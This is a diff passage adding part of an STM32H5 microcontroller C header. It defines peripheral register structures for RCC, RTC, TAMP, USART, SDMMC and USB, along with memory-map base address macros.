+ __IO uint32_t AHB1ENR; /*!< RCC AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR; /*!< RCC AHB2 Peripherals Clock Enable Register Address offset: 0x8C */ + uint32_t RESERVED11; /*!< Reserved Address offset: 0x90 */ + __IO uint32_t AHB4ENR; /*!< RCC AHB4 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED13; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1LENR; /*!< RCC APB1 Peripherals clock Enable Low Word register Address offset: 0x9C */ + __IO uint32_t APB1HENR; /*!< RCC APB1 Peripherals clock Enable High Word register Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< RCC APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< RCC APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED14; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1LPENR; /*!< RCC AHB1 Peripheral sleep clock Register Address offset: 0xB0 */ + __IO uint32_t AHB2LPENR; /*!< RCC AHB2 Peripheral sleep clock Register Address offset: 0xB4 */ + uint32_t RESERVED15; /*!< Reserved Address offset: 0xB8 */ + __IO uint32_t AHB4LPENR; /*!< RCC AHB4 Peripherals sleep clock Register Address offset: 0xBC */ + uint32_t RESERVED17; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1LLPENR; /*!< RCC APB1 Peripherals sleep clock Low Word Register Address offset: 0xC4 */ + __IO uint32_t APB1HLPENR; /*!< RCC APB1 Peripherals sleep clock High Word Register Address offset: 0xC8 */ + __IO uint32_t APB2LPENR; /*!< RCC APB2 Peripherals sleep clock Register Address offset: 0xCC */ + __IO uint32_t APB3LPENR; /*!< RCC APB3 Peripherals Clock Low Power Enable Register Address offset: 0xD0 */ + uint32_t RESERVED18; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t CCIPR1; /*!< RCC IPs Clocks Configuration Register 1 Address offset: 0xD8 */ + __IO uint32_t CCIPR2; /*!< RCC IPs Clocks Configuration Register 2 Address offset: 0xDC */ + __IO uint32_t CCIPR3; /*!< RCC IPs Clocks Configuration Register 3 Address offset: 0xE0 */ + __IO uint32_t CCIPR4; /*!< RCC IPs Clocks Configuration Register 4 Address offset: 0xE4 */ + __IO uint32_t CCIPR5; /*!< RCC IPs Clocks Configuration Register 5 Address offset: 0xE8 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< RCC VSW Backup Domain & V33 Domain Control Register Address offset: 0xF0 */ + __IO uint32_t RSR; /*!< RCC Reset status Register Address offset: 0xF4 */ + uint32_t RESERVED20[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC Secure mode configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC Privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + __IO uint32_t OR; /*!< RTC option register, Address offset: 0x60 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x64 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP control register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register, Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNT1R; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x44 -- 0x4C */ + __IO uint32_t OR; /*!< TAMP option register, Address offset: 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42];/*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ +} USART_TypeDef; + +/** + * @brief System configuration, Boot and Security + */ +typedef struct +{ + uint32_t RESERVED1[4]; /*!< RESERVED1, Address offset: 0x00 - 0x0C */ + __IO uint32_t HDPLCR; /*!< SBS HDPL Control Register, Address offset: 0x10 */ + __IO uint32_t HDPLSR; /*!< SBS HDPL Status Register, Address offset: 0x14 */ + __IO uint32_t NEXTHDPLCR; /*!< NEXT HDPL Control Register, Address offset: 0x18 */ + __IO uint32_t RESERVED2; /*!< RESERVED2, Address offset: 0x1C */ + __IO uint32_t DBGCR; /*!< SBS Debug Control Register, Address offset: 0x20 */ + __IO uint32_t DBGLOCKR; /*!< SBS Debug Lock Register, Address offset: 0x24 */ + uint32_t RESERVED3[3]; /*!< RESERVED3, Address offset: 0x28 - 0x30 */ + __IO uint32_t RSSCMDR; /*!< SBS RSS Command Register, Address offset: 0x34 */ + uint32_t RESERVED4[26]; /*!< RESERVED4, Address offset: 0x38 - 0x9C */ + __IO uint32_t EPOCHSELCR; /*!< EPOCH Selection Register, Address offset: 0xA0 */ + uint32_t RESERVED5[7]; /*!< RESERVED5, Address offset: 0xA4 - 0xBC */ + __IO uint32_t SECCFGR; /*!< SBS Security Mode Configuration, Address offset: 0xC0 */ + uint32_t RESERVED6[15]; /*!< RESERVED6, Address offset: 0xC4 - 0xFC */ + __IO uint32_t PMCR; /*!< SBS Product Mode & Config Register, Address offset: 0x100 */ + __IO uint32_t FPUIMR; /*!< SBS FPU Interrupt Mask Register, Address offset: 0x104 */ + __IO uint32_t MESR; /*!< SBS Memory Erase Status Register, Address offset: 0x108 */ + uint32_t RESERVED7; /*!< RESERVED7, Address offset: 0x10C */ + __IO uint32_t CCCSR; /*!< SBS Compensation Cell Control & Status Register, Address offset: 0x110 */ + __IO uint32_t CCVALR; /*!< SBS Compensation Cell Value Register, Address offset: 0x114 */ + __IO uint32_t CCSWCR; /*!< SBS Compensation Cell for I/Os sw code Register, Address offset: 0x118 */ + __IO uint32_t RESERVED8; /*!< RESERVED8, Address offset: 0x11C */ + __IO uint32_t CFGR2; /*!< SBS Class B Register, Address offset: 0x120 */ + uint32_t RESERVED9[8]; /*!< RESERVED9, Address offset: 0x124 - 0x140 */ + __IO uint32_t CNSLCKR; /*!< SBS CPU Non-secure Lock Register, Address offset: 0x144 */ + __IO uint32_t CSLCKR; /*!< SBS CPU Secure Lock Register, Address offset: 0x148 */ + __IO uint32_t ECCNMIR; /*!< SBS FLITF ECC NMI MASK Register, Address offset: 0x14C */ +} SBS_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ + +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ + uint32_t RESERVED[949];/*!< Reserved, Address offset: 0x3C -- 0x3F0 */ + __IO uint32_t IPVER; /*!< UCPD IP version register, Address offset: 0x3F4 */ + __IO uint32_t IPID; /*!< UCPD IP Identification register, Address offset: 0x3F8 */ + __IO uint32_t MID; /*!< UCPD Magic Identification register, Address offset: 0x3FC */ +} UCPD_TypeDef; + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ + +#define SRAM1_SIZE (0x20000UL) /*!< SRAM1=128k */ +#define SRAM2_SIZE (0x14000UL) /*!< SRAM2=80k */ +#define SRAM3_SIZE (0x10000UL) /*!< SRAM3=64k */ +#define BKPSRAM_SIZE (0x00800UL) /*!< BKPSRAM=2k */ + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 512 KB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (128 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20020000UL) /*!< SRAM2 (80 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x20034000UL) /*!< SRAM3 (64 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) /*!< FMC Memory Bank1 for SRAM, NOR and PSRAM */ +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) /*!< FMC Memory Bank3 for NAND */ +#define FMC_SDRAM_BANK_1 (FMC_BASE + 0x60000000UL) /*!< FMC Memory SDRAM Bank1 */ +#define FMC_SDRAM_BANK_2 (FMC_BASE + 0x70000000UL) /*!< FMC Memory SDRAM Bank2 */ + + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04020000UL) +#define AHB4PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define TIM12_BASE_NS (APB1PERIPH_BASE_NS + 0x1800UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define SPI3_BASE_NS (APB1PERIPH_BASE_NS + 0x3C00UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define I3C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5C00UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define CEC_BASE_NS (APB1PERIPH_BASE_NS + 0x7000UL) +#define DTS_BASE_NS (APB1PERIPH_BASE_NS + 0x8C00UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define FDCAN2_BASE_NS (APB1PERIPH_BASE_NS + 0xA800UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define SPI4_BASE_NS (APB2PERIPH_BASE_NS + 0x4C00UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x6000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS AHB1PERIPH_BASE_NS +#define GPDMA2_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA2_Channel0_BASE_NS (GPDMA2_BASE_NS + 0x0050UL) +#define GPDMA2_Channel1_BASE_NS (GPDMA2_BASE_NS + 0x00D0UL) +#define GPDMA2_Channel2_BASE_NS (GPDMA2_BASE_NS + 0x0150UL) +#define GPDMA2_Channel3_BASE_NS (GPDMA2_BASE_NS + 0x01D0UL) +#define GPDMA2_Channel4_BASE_NS (GPDMA2_BASE_NS + 0x0250UL) +#define GPDMA2_Channel5_BASE_NS (GPDMA2_BASE_NS + 0x02D0UL) +#define GPDMA2_Channel6_BASE_NS (GPDMA2_BASE_NS + 0x0350UL) +#define GPDMA2_Channel7_BASE_NS (GPDMA2_BASE_NS + 0x03D0UL) + +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DAC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08400UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) + +/*!< APB3 